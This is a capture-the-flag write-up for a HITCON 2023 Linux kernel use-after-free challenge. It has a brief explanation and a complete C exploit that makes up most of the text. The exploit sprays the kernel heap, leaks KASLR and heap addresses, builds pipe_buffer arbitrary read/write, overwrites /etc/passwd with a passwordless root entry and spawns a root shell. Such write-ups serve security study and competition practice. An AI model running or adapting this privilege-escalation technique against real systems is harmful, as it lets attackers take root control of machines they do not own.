0x00. Prologue

This is a challenge in HITCON 2023, a simple UAF challenge. It mentions KASLR-FG so I used to data-flow attack.

The attachment is from this repo.

0x01. Challenge

This challenge is very simple and it provides a primitive that enables you UAF-Free a point. Considering there is no kamlloc-cg and there is KASLR-FG, I used dataflow attack method attacking /etc/passwd by pipe_buffer AAR/AAW, which I introduced in this article.

It’s not a complex challenge so I just leave my exp here. If you are interested at pipe_buffer AAR/AAW, please check this article.

0x02. Exploitation

// https://github.com/n132/libx
#include "libx.h"
#define PIPE_BUF_FUNC 0xffffffff82427c08
#define DEBUG 0
int ct= 0;
int uaf_fd[0x100]={};
void uafInit(){
    for(int i = 0 ; i < 0X100 ; i++)
       uaf_fd[i] = open("/dev/rose",2);
}
void uaf(){
    close(uaf_fd[ct++]);
}
void libxInit_CS(){
    pinCPU(0);
    // impLimit();
    hook_segfault();
    initPipeBufferN(pipe_fd,4);
    initSocketArrayN(sk_fd,4);
    success("Libx Inited");
}
int main()
{
    libxInit_CS();
    char * T = malloc(0x10000);
    char buf[0x1000] = {};
    memset(T,'i',0x8000);
    int msgIds[2] = {};
    for(int i =0 ; i < 2; i++)
        msgIds[i] = msgGet();
    msgSpray(0x3d0,0x220,T+0x8000);
    msgSpray(0xd0,0x200,T+0x8000);

    uafInit();
    uaf();
    write(sk_fd[0][1],T+0x6000,0x400-0x140);
    uaf();
    pipeBufferResize(pipe_fd[0][1],0x10);
    read(sk_fd[0][0],buf,0x400-0x140);
    size_t KASLR = *(size_t *)(buf+0x10);
    size_t VMMAP = (*(size_t *)(buf+0))>>28<<28;
    write(sk_fd[2][0],T+0x8000,0x400-0x140);
    uaf();
    msgSend(msgIds[0],0x3d0,T+0x8000);
    msgSpray(0xd0,0x200,T+0x8000);
    msgSend(msgIds[0],0x100-0x30,T+0x8000); // for 0x100 

    read(sk_fd[2][1],buf,0x400-0x140);

    pipeBufferResize(pipe_fd[1][0],0x10); // refill
    
    size_t KHEAP = ((*(size_t *)(buf+0))>>12<<12)+0x10000;
    success(hex(KHEAP));
    int fds[0x200]= {};
    for(int i = 0 ;  i < 0x200 ; i ++)
        fds[i] = open("/etc/passwd",0);
    
    
    size_t PHYSMAP      =  (KHEAP >>28<<28);
    size_t target_page  = VMMAP + ((KHEAP-PHYSMAP)>>12)*0x40;
    uaf();
    size_t bpipe[] = {target_page,0x0000010000000000,KASLR,0x10};
    memcpy(T+0x9000,bpipe,sizeof(bpipe));

    write(sk_fd[2][0],T+0x9000,0x400-0x140);
    memset(buf,0,0x1000);
    read(pipe_fd[1][0],buf,0x100);
    
    unsigned int * ptr = buf+0x74;
    
    *ptr = 0x004f801f;
    size_t bw = write(pipe_fd[1][1],buf,0x100);

    for(int i = 0 ; i < 0x200 ; i++)
            write(fds[i],"root::0:0:root:/root:/bin/sh\n",30);
    system("/bin/su root");

    success("Sleeping...");
    sleep(0x1000);
}

0x03. Epilogue